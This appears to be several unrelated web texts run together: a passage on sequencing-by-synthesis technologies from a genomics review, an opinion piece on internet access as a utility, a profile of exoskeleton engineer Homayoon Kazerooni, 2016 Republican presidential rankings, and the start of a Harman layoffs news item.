Sequencing by synthesis: CRT (Illumina, Qiagen). CRT approaches are defined by their use of terminator molecules that are similar to those used in Sanger sequencing, in which the ribose 3′-OH group is blocked, thus preventing elongation19,20. To begin the process, a DNA template is primed by a sequence that is complementary to an adapter region, which will initiate polymerase binding to this double-stranded DNA (dsDNA) region. During each cycle, a mixture of all four individually labelled and 3′-blocked deoxynucleotides (dNTPs) are added. After the incorporation of a single dNTP to each elongating complementary strand, unbound dNTPs are removed and the surface is imaged to identify which dNTP was incorporated at each cluster. The fluorophore and blocking group can then be removed and a new cycle can begin.
The Illumina CRT system (Fig. 3a) accounts for the largest market share for sequencing instruments compared to other platforms21. Illumina's suite of instruments for short-read sequencing range from small, low-throughput benchtop units to large ultra-high-throughput instruments dedicated to population-level whole-genome sequencing (WGS). dNTP identification is achieved through total internal reflection fluorescence (TIRF) microscopy using either two or four laser channels. In most Illumina platforms, each dNTP is bound to a single fluorophore that is specific to that base type and requires four different imaging channels, whereas the NextSeq and Mini-Seq systems use a two-fluorophore system.
Figure 3: Sequencing by synthesis: cyclic reversible termination approaches. a | Illumina. After solid-phase template enrichment, a mixture of primers, DNA polymerase and modified nucleotides are added to the flow cell. Each nucleotide is blocked by a 3′-O-azidomethyl group and is labelled with a base-specific, cleavable fluorophore (F). During each cycle, fragments in each cluster will incorporate just one nucleotide as the blocked 3′ group prevents additional incorporations. After base incorporation, unincorporated bases are washed away and the slide is imaged by total internal reflection fluorescence (TIRF) microscopy using either two or four laser channels; the colour (or the lack or mixing of colours in the two-channel system used by NextSeq) identifies which base was incorporated in each cluster. The dye is then cleaved and the 3′-OH is regenerated with the reducing agent tris(2-carboxyethyl)phosphine (TCEP). The cycle of nucleotide addition, elongation and cleavage can then begin again. b | Qiagen. After bead-based template enrichment, a mixture of primers, DNA polymerase and modified nucleotides are added to the flow cell. Each nucleotide is blocked by a 3′-O-allyl group and some of the bases are labelled with a base-specific, cleavable fluorophore. After base incorporation, unincorporated bases are washed away and the slide is imaged by TIRF using four laser channels. The dye is then cleaved and the 3′-OH is regenerated with the reducing agent mixture of palladium and P(PhSO 3 Na) 3 (TPPTS). Full size image Download PowerPoint slide
In 2012, Qiagen acquired the Intelligent BioSystems CRT platform, which was commercialized and relaunched in 2015 as the GeneReader22 (Fig. 3b). Unlike other systems, this platform is intended to be an all-in-one NGS platform, from sample preparation to analysis. To accomplish this, the GeneReader system is bundled with the QIAcube sample preparation system and the Qiagen Clinical Insight platform for variant analysis. The GeneReader uses virtually the same approach as that used by Illumina; however, it does not aim to ensure that each template incorporates a fluorophore-labelled dNTP23. Rather, GeneReader aims to ensure that just enough labelled dNTPs are incorporated to achieve identification.
Sequencing by synthesis: SNA (454, Ion Torrent). Unlike CRT, SNA approaches rely on a single signal to mark the incorporation of a dNTP into an elongating strand. As a consequence, each of the four nucleotides must be added iteratively to a sequencing reaction to ensure only one dNTP is responsible for the signal. Furthermore, this does not require the dNTPs to be blocked, as the absence of the next nucleotide in the sequencing reaction prevents elongation. The exception to this is homopolymer regions where identical dNTPs are added, with sequence identification relying on a proportional increase in the signal as multiple dNTPs are incorporated.
The first NGS instrument developed was the 454 pyrosequencing24 device. This SNA system distributes template-bound beads into a PicoTiterPlate along with beads containing an enzyme cocktail. As a dNTP is incorporated into a strand, an enzymatic cascade occurs, resulting in a bioluminescence signal. Each burst of light, detected by a charge-coupled device (CCD) camera, can be attributed to the incorporation of one or more identical dNTPs at a particular bead (Fig. 4a).
Figure 4: Sequencing by synthesis: single-nucleotide addition approaches. a | 454 pyrosequencing. After bead-based template enrichment, the beads are arrayed onto a microtitre plate along with primers and different beads that contain an enzyme cocktail. During the first cycle, a single nucleotide species is added to the plate and each complementary base is incorporated into a newly synthesized strand by a DNA polymerase. The by-product of this reaction is a pyrophosphate molecule (PP i ). The PP i molecule, along with ATP sulfurylase, transforms adenosine 5′ phosphosulfate (APS) into ATP. ATP, in turn, is a cofactor for the conversion of luciferin to oxyluciferin by luciferase, for which the by-product is light. Finally, apyrase is used to degrade any unincorporated bases and the next base is added to the wells. Each burst of light, detected by a charge-coupled device (CCD) camera, can be attributed to the incorporation of one or more bases at a particular bead. b | Ion Torrent. After bead-based template enrichment, beads are carefully arrayed into a microtitre plate where one bead occupies a single reaction well. Nucleotide species are added to the wells one at a time and a standard elongation reaction is performed. As each base is incorporated, a single H+ ion is generated as a by-product. The H+ release results in a 0.02 unit change in pH, detected by an integrated complementary metal-oxide semiconductor (CMOS) and an ion-sensitive field-effect transistor (ISFET) device. After the introduction of a single nucleotide species, the unincorporated bases are washed away and the next is added. Part a is adapted from Ref. 18, Nature Publishing Group. Full size image Download PowerPoint slide
The Ion Torrent was the first NGS platform without optical sensing25. Rather than using an enzymatic cascade to generate a signal, the Ion Torrent platform detects the H+ ions that are released as each dNTP is incorporated. The resulting change in pH is detected by an integrated complementary metal-oxide-semiconductor (CMOS) and an ion-sensitive field-effect transistor (ISFET) (Fig. 4b). The pH change detected by the sensor is imperfectly proportional to the number of nucleotides detected, allowing for limited accuracy in measuring homopolymer lengths.
Comparison of short-read platforms. Individual short-read sequencing platforms vary with respect to throughput, cost, error profile and read structure (Table 1). Despite the existence of several NGS technology providers, NGS research is increasingly being conducted within the Illumina suite of instruments21. Although this implies high confidence in their data, it also raises concerns about systemic biases derived from using a single sequencing approach26,27,28. As a consequence, new approaches are being developed and researchers increasingly have the choice to integrate multiple sequencing methods with complementary strengths.
Table 1: Summary of NGS platforms Full size table Download PowerPoint slide
The SBL technique used by both the SOLiD and Complete Genomics systems affords these technologies a very high accuracy (~99.99%)7,14, as each base is probed multiple times. Although accurate, both platforms also show evidence of a trade-off between sensitivity and specificity, such that true variants are missed while few false variants are called29,30,31. There is also evidence that the platforms share some under-representation of AT-rich regions26,32, and the SOLiD platform displays some substitution errors and some GC-rich under-representation32. Perhaps the feature most limiting to the widespread adoption of these technologies is the very short read lengths. Although both platforms can generate single-end and paired-end sequencing reads, the maximum read length is just 75 bp for SOLiD and 28–100 bp for Complete Genomics33, limiting their use for genome assembly and structural variant detection applications. Unfortunately, owing to these limitations, along with runtimes on the order of several days, the SOLiD system has been relegated to a small niche within the industry. Furthermore, although the cPAL-based Revolocity system was intended to compete with the Illumina HiSeq in terms of cost and throughout, its launch was suspended in 2016 and it is now only available as a service platform for human WGS33,34, whereas the cPAS-based BGISEQ-500 platform is limited to mainland China.
Illumina dominates the short-read sequencing industry owing, in part, to its maturity as a technology, a high level of cross-platform compatibility and its wide range of platforms. The suite of instruments available ranges from the low-throughput MiniSeq to the ultra-high-throughput HiSeq X, which is capable of sequencing ~1,800 human genomes to 30× coverage per year. Further diversification is derived from the many options available for runtime, read structure and read length (up to 300 bp). As the Illumina platform relies on a CRT approach, it is much less susceptible to the homopolymer errors observed in SNA platforms. Although it has an overall accuracy rate of >99.5%35, the platform does display some under-representation in AT-rich32,36 and GC-rich regions32,37, as well as a tendency towards substitution errors38. In 2008, Bentley et al.35 reported a very high concordance rate between human single-nucleotide polymorphisms (SNPs) identified with Illumina and SNPs identified from genotyping microarrays35. However, this high sensitivity came with a false-positive rate of around 2.5%, leading this and other groups to consider using Sanger sequencing to resequence the called SNPs in order to distinguish between true SNPs and false positives35,39,40. With all of the possible options available, the Illumina suite allows for a wide range of applications: genome sequencing through WGS or exome sequencing; epigenomics applications, such as ChIP–seq (chromatin immunoprecipitation followed by sequencing)41, ATAC–seq (assay for transposase-accessible chromatin using sequencing)42 or DNA methylation sequencing (methyl-seq)43; and transcriptomics applications through RNA sequencing (RNA-seq)44, to name a few. The two-colour labelling system used by the NextSeq and MiniSeq platforms increases speed and reduces costs by reducing scanning to two colour channels and reducing fluorophore usage. However, the two-channel system results in a slightly higher error profile and underperformance for low-diversity samples owing to more ambiguous base discrimination45. HiSeq X is currently the highest-throughput instrument available; however, as a consequence of its optimization, it is limited to just a few applications, such as WGS and whole-genome bisulfite sequencing. HiSeq X is further limited as an all-purpose instrument owing to a required initial purchase of five or ten instruments (additional single instruments can be purchased after the initial commitment), placing this system out of reach of most facilities.
The Qiagen GeneReader is intended to be a clinical device with an explicit focus on cancer gene panels46; although this severely limits its possible applications, it is well optimized within its niche. With a reported several-day runtime, and the use of validated gene panels, it fulfils a similar role to the Illumina MiSeq46. Although no user data are available at this point, it is likely that the Qiagen GeneReader will share many of the same advantages and disadvantages as the Illumina MiSeq platform at a potentially lower cost per gigabase sequenced.
Both the 454 and the Ion Torrent systems offer superior read lengths compared to other short-read sequencers with reads up to an average of 700 bp and 400 bp, respectively, providing some advantages for applications that focus on repetitive or complex DNA. However, as both of these platforms rely on SNA, they share many of the same drawbacks. Insertion and deletion (indel) errors dominate, although the overall error rate is on par with other NGS platforms in non-homopolymer regions. Homopolymer regions are problematic for these platforms, which lack single-base accuracy in measuring homopolymers larger than 6–8 bp47,48. Unfortunately, whereas the Ion Torrent platform has kept pace with the rapidly evolving NGS field, the 454 platform has been unable to complete with other platforms in terms of yield or cost. This limitation has led Roche to discontinue the platform in 2016 (Ref. 49).
The Ion Torrent platform offers several different types of chips and instruments to tune sequencer performance to the needs of the researcher. The throughput of these chips ranges from ~50 Mb to 15 Gb, with runtimes between 2 and 7 hours, making it faster than most other current platforms. This makes the device well suited for gene-panel sequencing and for point-of-care clinical applications50, including transcriptome profiling51 and splice site identification (although not to the level of long-read sequencers)51. Ion Torrent is attempting to capitalize on the growing interest in clinical sequencing with the release of its dedicated diagnostic instruments: the Ion Personal Genome Machine (PGM) Dx and the Ion S5 series. When paired with the Ion Chef library preparation and chip loading device, the S5 series in particular aims to be one of the simplest platforms to operate, eliminating the need for the argon required by other Ion Torrent instruments and establishing plug-and-play protocols. An important disadvantage, however, is that although the Ion PGM Dx sequencer can support paired-end sequencing52, the higher-throughput Ion Proton and S5 devices lack the ability to perform paired-end sequencing, thus limiting their utility for elucidating long-range genomic or transcriptomic structure53.Our nation's high-speed internet is in the hands of just a few private companies that act, in many regions, like monopolies. That's indisputable. But while it's easy to attack the monopoly part, should we be focusing on private? Is the internet such an ingrained part of existence at this point that it should be considered—and regulated as—a public utility?
That question is raised convincingly in a Bloomberg piece last week detailing how, as a modern day internet customer, you invariably end up paying more for less. And before you dismiss the notion of redefining how the internet is distributed, remember that electricity was once seen as a luxury, in the hands of private businesses and accessible only to the wealthy. You shouldn't have to use dial-up any more than you should light your house with candles.
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So what do you think? Make high-speed internet every bit as universally accessible and affordable as water, gas and electricity? Or is the need to check your Facebook status nowhere near the same ballpark as the need to flush your toilet?When Homayoon Kazerooni arrived from Iran to America in the late 1970s, he had just a few hundred bucks in his pocket. He also had big dreams.
They weren’t the usual American dreams of being rich and famous, though. He dreamed of becoming a scientist or an engineer, like the people he read about in outdated Time magazines back home who helped Neil Armstrong take his first small steps in the Sea of Tranquility.
Four decades later, those dreams would be fulfilled. An invention he helped build that allowed someone else to take steps just as groundbreaking as Armstrong’s — and ended up in the pages of Time, as one of the publication’s 50 Best Inventions of 2010.
Called the eLEGS, the device was a medical exoskeleton that restores the ability to walk to paraplegics, MS patients, and stroke victims.
Under the tutelage of Professor Homayoon Kazerooni, UC Berkeley graduate students developed eLEGS' hardware and software to create a more natural gait, so not only can a paraplegic take steps again — they take more natural ones.
For those people, an exoskeleton that offers untethered bipedal locomotion really is as amazing as the Moon landing, probably even more so. Honestly, the Moon is pretty boring in comparison.
Bionics that pull off some Biblical-style miracles? That’s what science is all about, and it’s the realization of Kazerooni’s personal American fairy tale. It’s about a boy orphaned at a young age who heard tales of wonderful machines and super heroic scientists in a strange, foreign land—tales that would lead him to America to see it for himself just months before a revolution would upend his homeland. Eventually, he would transform the equivalent of $1,100 into a doctorate at MIT and a 27-year-tenure at Berkeley in the mechanical engineering department. Finally, he would use his skills and drive to bring forth the age of exoskeletons, a technology that will soon wrap itself around every aspect of our lives.
Well, that’s the story if you’re one for hyperbole. If you’re Kaz, as his friends and students know him, you’re just doing your job.
“I’m an engineer,” he says. “My job is creating technology to make life easier and to create a better quality of life.”
Mass Exo-dus
Kaz’s exoskeletons certainly fit his utopian description of tech that creates a better life. But Neil Armstrong’s few Moon steps evolved into a round of golf and we’re still looking for the next giant leap — to Mars.
With exoskeletons, you don’t need them to jump to be considered a miracle. They just need to be functional, durable, affordable, comfortable, and flexible.
The quest for that has launched a brand new engineering race to see who will deliver the first mainstream exoskeleton.
If a major conglomerate does it, that particular robotic wearable could go into mass production earlier and probably reach more people faster. Lockheed Martin and Parker Hannifin have products for industrial and healthcare use—the FORTIS and the Indego, respectively.
Lockheed Martin's FORTIS holds tools up to 36 lb. so you don't have to.
The FORTIS, the first exoskeleton for industrial use, was developed for heavy toolholding at Naval shipyards and other hazardous industrial applications. It reduces muscle fatigue by two-thirds and costs around $23,000. The Tool Arm alone sells for $7,149, with the customized gimbals sold separately.
Parker’s 26-lb. Indego allows people with spinal injuries upward mobility. The battery lasts four hours and settings can be changed via smartphone. The sleek FDA-approved machine is cleared for clinical and personal use and costs $80,000.
Parker Hannifin's Indego features a slim profile to fit through narrow aisleways.
If it’s a startup, manufacturing the definitive exoskeleton could make it the next big Fortune 500 Company. For Kazerooni, it’s a race against himself.
The eLEGS, now called the Ekso, were created at the Berkeley Robotics & Human Engineering Laboratory, which he directs, and Berkeley Bionics, which he co-founded. They also rebranded as Ekso Bionics. Prior to the name change, Kazerooni left the business for more autonomy and freedom to express his singular vision.
“Engineering is like artwork,” explains Kaz, a painter on the side. “When you go through art school, they teach you perspective, color, and light. But you can’t become a Michelangelo unless you do it yourself.”
So he went back to Berkeley from Richmond, California, where Ekso is based. No longer a leader of an up-and-coming company with a licensing agreement with Lockheed, Kaz went back to teach. And to develop a new, better exoskeleton that wouldn’t infringe on patents he already made.
He would have to start over.
That’s never been a problem for him. Kaz had done it in Madison, at the University of Wisconsin, and then a year later at MIT, and again on the West Coast.
It’s especially easy when you have a university lab unofficially named after you, the Kaz Lab. In college he had to clean the lab for extra money. Now he has fresh batches of grad students delivered to him annually, all of them intent on changing the world.
“I want to teach and give them something so they can be better for all of us,” the professor says.
He also wanted this new bionic to be even better than the last one he helped create, and that one is very, very good. Just with a price that makes it unfeasible for most.
This next model would be stripped down, economical in every way, and won’t sacrifice performance. This isn’t some luxury item, it’s for people who really have to think about everywhere they go, if it’s accessible, how long could they manage, and so on.
“We have to take care of those around us, weaker than us,” Kaz says.
And he stands up for them by helping them stand themselves. It’s because of his inventions they can now hope for a better life.
“Hope is a huge power in all of us, and you can’t feel it unless you lose it,” he says. “Every person has experienced a moment in their life where they have had no hope. I had been in that position where I wanted to stay in bed. When you have no hope, you can’t function.”
So that’s the mission: Restoring hope in as many people as possible, in a world that gets more cynical every day.
Kazerooni is happy to be just one of the many minds involved in this project, because it’s the science that matters. Who cares about making a name for yourself when people’s livelihoods are at stake?
What introspection he does afford himself gives him an unassailable fatherly quality: “I came here with very little, and I got opportunities. With opportunity comes responsibility.”
Walking the Walk
“Today we have just seen a wondrous example of Berkeley at its finest,” Chancellor Robert Birgeneau told the crowd in May 2011.
A man named Austin Whitney had just done something he thought he’d never do: walk across the Berkeley campus stage to receive his diploma. He was paralyzed in a car crash in 2007. Then he met Kazerooni.
Four years later Whitney rose from his wheelchair and accepted his degree and a hearty hug from the chancellor. He still needed the support of a walker connected to a newly designed set of exo-legs made from mostly off-the-shelf parts.
Truly, this was a miracle, and Kaz was happy so many bore witness.
“The most important thing is when I saw the other students who were able to see the results of our work,” he says. “I was able to educate a whole group of people.”
As impactful as inspiring a whole generation is, Kaz recalls how excited Austin was for a different accomplishment prior to the ceremony: standing up to pee—an able-bodied luxury he had been denied for at least four years.
Austin was so excited “he went in there and was screaming,” Kazerooni recalls.
The Austin prototype became the Phoenix, the robotic avatar designed to help its users rise from the ashes.
One of those users was Steve Sanchez.
Sanchez was paralyzed in a BMX accident near San Jose in 2004. He bailed mid-jump and fell wrong. That one miscalculation led to an irreparably damaged spinal cord and what he thought would be a lifetime in a wheelchair. For an adventurous 17-year-old, the hope he clung to was finding a cure.
He traveled to China for stem cell therapy and eventually resorted to painful leg braces.
“I trained to kill the nerves in my hands so I could stand up longer,” Sanchez says laughing. “I was destroying my hands, the things I had left, for the ability to walk maybe 10,maybe 20 feet before I was so exhausted I couldn’t move again.”
Sanchez says it took “150% effort“ just to take a few steps.
His roommate had worked with Kazerooni testing the eLEGS and was invited to test Kaz’s new medical exoskeleton developed by the newly formed suitX prototype in the summer of 2012. The roommate wasn’t all that interested, but Sanchez saw this as his opportunity.
A week later, Sanchez was wearing the new prototype and walking down the hallway to his parents. That moment was caught by a BBC documentary filmmaker, and is NSFW if you have a tough guy image to protect.
Before becoming suitX's chief test pilot for the Phoenix, Steve Sanchez tried everything he could to walk again after a BMX accident paralyzed him, from gene therapy to painful braces.
He’s now the product’s chief test pilot, and because of his background as a CNC programmer and inspector, checks all suitX products prior to assembly.
The guy who is uniquely suited to use the suit is also responsible for quality for the whole company.
“It gives a more natural motion, it feels more like I’m walking,” Sanchez says. “I’m at about 10-15% effort.”
He tried on both the Ekso and the ReWalk Robotics exoskeleton, which both can cost more than $80,000. They both have powered knees, a good feature for climbing, but feels akin to a roller coaster while the Phoenix is a bicycle, he says.
Recently, Sanchez, a wine enthusiast, ventured out to Napa Valley with the suit, wearing it out in public for the first time not on company time.
Paralyzed from the waist down 13 years ago, Steve Sanchez, the chief test pilot for suitX, uses the Phoenix medical exoskeleton to burst out of his wheelchair “bubble.”
Instead of sitting near the lower tables, Sanchez popped up and stood at the bar, with people now filled more with curiosity than pity.
“They see the wheelchair moving, they don’t see the person,” he says. “Being able to stand there, eye to eye with everybody, really hit me to a point where I really felt alive again.”
The Phoenix is currently awaiting FDA approval, which could come by early 2018. Kaz expects it to retail for $30,000. That’s the price of a Camry, not a Corvette, well within someone’s means.
“In 10 years, it could cost $10,000,” Sanchez says, and that’s a number Kaz find within the realm of possibilities. Our editor Travis Hessman often says,“I fricking love the future,” probably too much. But this is one time he’s fricking right.
There’s another impending robotic development, though, that is on a collision course with society: Robots in the workforce.
eXo-Manual Labor
Robots are taking over the industrial work place; it’s inevitable. Take your pick of studies or just look on the plant floor. They grow every year in number, increase in applications, and drop in cost.
Most imagine the science-fiction version of exoskeletons, such as the industrial CAT Power Loader in Aliens to the military power suits in Edge of Tomorrow, but really they’re just robotic tools.
“As presented by sci-fi in the last 15 years, exoskeletons are about a man going inside a machine, running, and punching people — Iron Man-type things,” Kazerooni says. “It’s augmenting them to fight.”
It’s a premise first explored in Robert Heinlein’s Starship Troopers, and in 2000, DARPA gave funding to the Berkeley lab to flesh out its Berkeley Lower Extremity Exoskeleton (BLEEX), consisting of motorized legs, sensors and actuators, a battery, and back pack frame, diverting the weight of a 75-lb. load out to the robot, not the grunt.
“You put $100,000 into training one soldier, and then they get a back injury from carrying a load,” explains Kazerooni. “My very early proposal had nothing in there to make soldiers stronger. We always talked about ankle injuries, back injuries.”
The team worked on a more combat ready version of BLEEX: the hydraulically–powered HULC, or Human Universal Load Carrier, which was announced in 2009 and seemed to go more the teenage-boy version of an exosuit route. The 53-lb. HULC allows the user to carry up to 200 lb. and run 10 mph. Lockheed Martin licensed the rights. It seemed to be the start of the military trying to go full Iron Man.
The HULC exosuit
Kazerooni had also been working with the Department of Labor, trying to identify how to prevent worker injuries through the robotics tech he specializes in.
The BLS says that 25,000 total warehouse workers, or 5%, suffered work-related injuries in 2015. Overextertion injuries overall cost $15 billion a year, and $68 billion when you factor in lost productivity, training new workers, higher insurance costs, and more.
One solution has been to automate more and add more robots everywhere.
While Kazerooni concedes robots simply work better and more safely in fixed repetitive tasks, like spot welding in an auto factory, he adds that even smart robots have trouble handling different shaped objects. None has the mobility and intelligence of a primate honed through millions of years for problem-solving, so his latest exoskeleton combines the best of both worlds.
“Why not combine human intelligence with robotic strength?” Kazerooni asks. “That’s the thesis of my work.”
It’s called the MAX, short for Modular Agile eXoskeleton, and its Kaz’s simplest, cheapest, and most far-reaching invention yet.
The Modular Agile eXoskeleton boosts a worker's strength at the back, legs, and knees.
That experience with the Department of Labor helped him identify the three problem areas for a worker: the back, knees, and shoulders. So the MAX uses compressed springs to mechanically resist forces, such as a cement block you picked up. If you’re wearing the whole shebang, when you bend over the legX piece kicks in to relieve strain at the knees and the backX diverts the weight of your torso and the object through the steel and aluminum frame down to the ground, not your spine. Then, if you have to hold that block above your head to hand it to someone on another level, the shoulderX takes the weight.
There are no batteries, you can put it on in less time than it takes to put on a three-piece suit, and the whole device costs $11,000 together and is available as separate units: $3,000 for the backX and shoulder, and $5,000 for the legX.
“Based on experiments done in the lab, we are dropping stresses by about 50% for payloads of 30 or 40 lb.,” Kazerooni explains. “As the payloads go up to 100 lb., they reduce about 40%. If you’re picking up 50 lb., it makes it feel like 20 to 25 lb.”
Let’s say you bend over to pick up 20-lb. boxes 8 times a minute, for 8 hours a day. That’s 19,200 bends a week. If you had to do this for 50 weeks a year, and wore the backX for three years, you |
evangelical favorites actually managed to win Iowa in a splintered field, especially because two of these candidates already have won Iowa in previous nomination contests: Huckabee in 2008 and Santorum in 2012. But these contenders will have little to no support from party leaders and lack the wide appeal to compete among non-evangelicals. As such, they are consigned to a marginal status that is exacerbated by the likelihood that they will be stealing votes from each other (and others in the field including Cruz and Paul). Carson is expected to officially enter the race next Monday in Detroit, Huckabee has an announcement coming a day later in Arkansas, and Santorum effectively announced back in December.
Ohio Gov. John Kasich is now in the sixth spot on our list, leading a group of sitting and former governors who, while having collectively small odds at winning the nomination, are more plausible nominees than Huckabee, Santorum, or Carson even though they often poll behind those bigger-name candidates at this point.
The Buckeye State governor appears closer to running than not. Kasich has been making the rounds in the early states, and he also has an outside group backing his candidacy, New Day for America, with former New Hampshire Sen. John Sununu at its helm. We explored the Kasich candidacy in depth last month, and some of the basic challenges — such as fundraising and his vocal support for Medicaid expansion in his home state — remain. At this early stage, we can’t see how he jumps in front of Bush, Rubio, or Walker. But no one should discount the governor of Ohio, or a politician who has maneuvered successfully around the shoals of national politics for a quarter-century. Ultimately, Kasich is someone who has long coveted the presidency. That driving ambition is as good a reason as any for him to run.
Kasich is followed in this tier by former Texas Gov. Rick Perry, New Jersey Gov. Chris Christie, and Louisiana Gov. Bobby Jindal. This is a slight upgrade for Perry and a slight downgrade for Christie, who is trying to become John McCain 2.0 by hitting a low point and bouncing back by barnstorming New Hampshire. Christie might be able to do well there, but just as the appeal of a Huckabee, Santorum, or Carson seems confined to evangelicals, Christie’s appeal seems restricted to the party’s relatively small number of liberal/moderate voters. Christie just doesn’t have much wide appeal in the party, and his current standing in the RealClearPolitics average of national polls — 5.6%, down from the low double digits during 2014 and a high point of 20% in December 2013 — is well below McCain’s lowest point, 10.3%, during the 2008 contest. Perry, meanwhile, is another heavy underdog, but his Super PAC just added one of the party’s best pollsters, Glen Bolger of Public Opinion Strategies, to his already impressive team. Perry is probably too damaged from his disastrous 2012 candidacy to make an impact in a field that’s better than the one the party had four years ago, but he’s a legitimate candidate building a substantial campaign — and he’s much more in line ideologically with the GOP electorate than Christie.
Further down the list, we’ve brought back Michigan Gov. Rick Snyder, whom we removed last month but who is now making some noise about potentially running. We’re not exactly sure what Snyder’s path to victory is — he starts behind other unlikely nominees in our ratings — but his inclusion now pushes our total number of candidates up to 20.
And it’s possible we should have 21. We haven’t mentioned him much until now, but business mogul and TV celebrity Donald Trump appears to actually be taking some steps to enter the race. He is holding events in early states and is opening an office in New Hampshire, and his political team is doing outreach across the country. (Full disclosure: we met with members of Team Trump last week in Charlottesville.)
Trump has made noise several times in the past about running for president, and he has a “boy who cried wolf” problem. So we’re not going to include him on our list until he formally announces, even though the bar for entry to our long roster of candidates is not high (as evidenced by the return of Snyder to our list and also the inclusion of improbable candidates such as former Ambassador to the United Nations John Bolton, Rep. Peter King of New York, and others). Trump, unlike these other candidates, has never run for or held high office before, and he delights in keeping his name in the spotlight. So we’re holding him to a somewhat different standard than other announced and potential candidates.
One big problem for Trump is that he’s not very well liked even by Republicans: A Monmouth University poll found his favorability was 28% favorable, 56% unfavorable among Republicans; another survey, from NBC News/Wall Street Journal, found that only 23% of Republicans could see supporting him versus 74% who could not.
At the very least, a Trump candidacy would be a spectacle, and it would throw one more curveball into a GOP presidential contest that might end up as the most crowded and competitive of any in the modern era.
Meanwhile on the sparse Democratic side, Hillary Clinton is finally getting an announced challenger, Sen. Bernie Sanders of Vermont. Though he sits with the Democratic Senate caucus, Sanders isn’t a full-fledged Democrat. Instead, he’s a democratic socialist and may well show Americans who do not remember Norman Thomas (a six-time Socialist presidential candidate from 1928 to 1948) what that label means. Sanders has no chance of winning the Democratic nomination, as he would himself admit, and his candidacy is all about pulling Hillary to the left on issues such as income equality and trade. To see our current Democratic rankings, click here.
Table 1: Crystal Ball 2016 Republican presidential rankings
Our new ranking of the GOP contenders features a number of changes. In our first tier, “The Leading Contenders,” Sen. Marco Rubio of Florida is now second and Gov. Scott Walker of Wisconsin is third, a reversal of their previous positions. The second tier, “The Outsiders,” has been reduced to just Sens. Ted Cruz of Texas and Rand Paul of Kentucky, with Cruz now ranked ahead of Paul. Ohio Gov. John Kasich now leads the third tier, “The Governor Alternatives,” with former Texas Gov. Rick Perry ranked second. They both move ahead of New Jersey Gov. Chris Christie. Rejoining our list is Michigan Gov. Rick Snyder, who slots in at the tail end of that group. The new fourth tier, “Evangelical Favorites,” contains former Arkansas Gov. Mike Huckabee, Dr. Ben Carson, and former Pennsylvania Sen. Rick Santorum; the trio previously made up latter part of the second tier. Lastly, our old fourth tier is now the fifth tier, “The Gadflies and Golden Oldies,” and its order is unchanged.
First Tier: The Leading Contenders Candidate Key Primary Advantages Key Primary Disadvantages Jeb Bush
Ex-Governor, FL •Conservative gubernatorial resume
•National Bush money and organization, has already raised huge sums
•Personifies establishment, which typically produces GOP nominees •Bush fatigue is real
•Support for Common Core and immigration reform
•Personifies establishment, which grassroots loathes Marco Rubio
Senator, FL •Dynamic speaker and politician
•Potential appeal to party insiders and outsiders •Went left on immigration, hurt him with base
•Increased stature in field will attract opposition attacks Scott Walker
Governor, WI •Heroic conservative credentials
•Checks boxes for many wings of party
•Already clear he’s not next Pawlenty — getting serious attention and early momentum •Needs to raise mountains of $
•Criticism of legal immigration might scare party’s business wing
•Does lack of college degree matter? (We don’t think so)
•Needs to prove he knows foreign policy Second Tier: The Outsiders Ted Cruz
Senator, TX •Dynamic debater and canny, often underestimated politician
•Anti-establishment nature plays well with base
•Hard for anyone to get to his right •Too extreme?
•Disliked on both sides of the Senate aisle
•Strong Tea Party support ensures establishment resistance to candidacy Rand Paul
Senator, KY •Strong support from libertarian and Tea Party wings
•National ID and fundraising network; benefits from father’s previous efforts •Hawks, rather than doves, in vogue in current GOP
•Association with out-of-mainstream father
•Might also be losing some of his father’s support by moderating Third Tier: The Governor Alternatives John Kasich
Governor, OH •Long moderate-conservative record plus two terms as swing-state Ohio governor
•Could be fallback for GOP establishment forces •Supported Medicaid expansion, backs Common Core
•Long record to scrutinize
•Time running out for him to get real as a candidate Rick Perry
Ex-Governor, TX •Running vigorously and has strong campaign team
•2012 campaign so poor that he may now be underrated •Bombed in much weaker 2012 field
•Hard to make a second first impression Chris Christie Governor, NJ •Commanding speaker
•Made a lot of friends with successful RGA stint •Honeymoon in NJ is long over
•Fallen behind Bush and Rubio in establishment race
•Weak national numbers Bobby Jindal
Governor, LA •Deep and wide experience
•Knows how to toss red meat to base •Better on paper than on stump
•Controversial tenure in Louisiana Rick Snyder
Governor, MI •Right to Work in major labor state
•Washington outsider •Supported Medicaid expansion
•Zero national profile Fourth Tier: Evangelical Favorites Mike Huckabee
Ex-Governor, AR •Already vetted in 2008 and well-known from his Fox News program
•Strong support from social conservatives
•Southerner in Southern-based party •Disliked by establishment for economic populism and social views — party leaders don’t think he’s electable
•Small fundraising base Ben Carson
Neurosurgeon and activist •Adored by Tea Party grassroots
•Good on TV •Gaffe-prone
•Little chance of establishment backing and funding Rick Santorum
Ex-Senator, PA •Strong support from social conservatives
•Been around primary track •Harder to stand out in much stronger 2016 field
•Not as economically conservative as others Fifth Tier: The Gadflies and Golden Oldies Lindsey Graham
Senator, SC •Prominent Obama critic
•Media savvy and hawkish views on foreign policy •Vehemently disliked by grassroots
•Immigration reform efforts hurt him with conservatives Carly Fiorina
Former business executive •The only woman in the field, party leaders want her on stage
•Very wealthy, could self-fund •Lost only race (2010 Senate) badly
•Largely unknown, no base of support Peter King
Representative, NY •Foreign policy expertise — and hardline views
•Media savvy; frequent TV appearances •Probably not conservative enough
•Small base of support (candidates from House rarely win) George Pataki
Ex-Governor, NY •Very long elective experience in a big (Democratic) state — plus 9/11 experience •Zero grassroots excitement Jim Gilmore
Ex-Governor, VA •Record as tax-cutter
•Military record, intelligence officer during Cold War •Not strong on the stump
•Left office in 2002: “Jim Who?”
•Lost 2008 Senate race by 31 points Bob Ehrlich
Ex-Governor, MD •Federal and state government experience •Lost twice to…Martin O’Malley
•No rationale for candidacy John Bolton
Ex-Ambassador to the United Nations •Foreign policy experience and hawkish views •All foreign policy, little domestic profile
•No electoral experience or donor base
List changes
Additions: Gov. Rick Snyder (MI)When the news hit last fall that Samsung was set to acquire Harman International, pundits wondered how the merger would impact the iconic company whose history includes introduction of the first stereo receiver under the Harman Kardon brand in 1958.
It still remains to be seen how Harman’s activities in home audio will ultimately be impacted but last week Harman announced the consolidation of its Professional Solutions group, which will result in the layoff of 650 employees in the U.S. and Europe.
In a press release posted on AVNation, Harman International PR director David Glaubke said the changes are the “culmination of a transformation” that the Pro Solutions division has undergone over the last few years and aimed at better serving the company’s customer base, increasing their competitiveness, and accelerating new product innovation.
